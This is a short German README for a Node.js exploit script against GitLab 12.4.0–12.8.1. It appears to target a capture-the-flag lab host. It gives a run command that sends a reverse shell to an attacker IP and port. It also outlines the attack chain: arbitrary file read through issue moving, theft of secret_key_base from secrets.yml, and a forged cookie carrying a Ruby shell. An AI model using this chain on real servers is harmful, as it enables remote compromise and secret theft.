GitLab v12.4.0-12.8.1 RCE
Basiert vollständig auf https://github.com/dotPY-hax/gitlab_RCE, was bei mir nicht funktioniert hat und die HTML-Parsing-Sache umständlich schien, also habe ich es in JS neu geschrieben.
Verwendung
Starten Sie wie gewohnt einen Reverse-Shell-Handler und führen Sie dann dieses Skript aus mit:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
Ein Proxy kann mit TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080" angegeben werden.
Burp ist besonders nützlich zum Debuggen damit.
Was dies tut
- Überprüft, ob das Ziel erreichbar ist
- Wenn der angegebene Benutzer existiert, springe zu 5
- Suche nach einem Benutzernamen, der noch nicht existiert
- Erstelle diesen Benutzer
- Versuche die Anmeldung
- Erstelle zwei leere Projekte
- Erstelle ein neues Issue-Ticket mit einem bösartigen Link im Text im ersten Projekt
- Verschiebe das neue Ticket in das andere Projekt, wodurch GitLab unseren bösartigen Link umschreibt und die Datei, auf die er verweist, in das Uploads-Verzeichnis kopiert
- Ruft die Zieldatei ab, in diesem Fall die secrets.yml für den secret_key_base
- Verwende den secret_key_base, um einen bösen Cookie mit unserer Ruby-Shell zu erstellen und an GitLab zu übergeben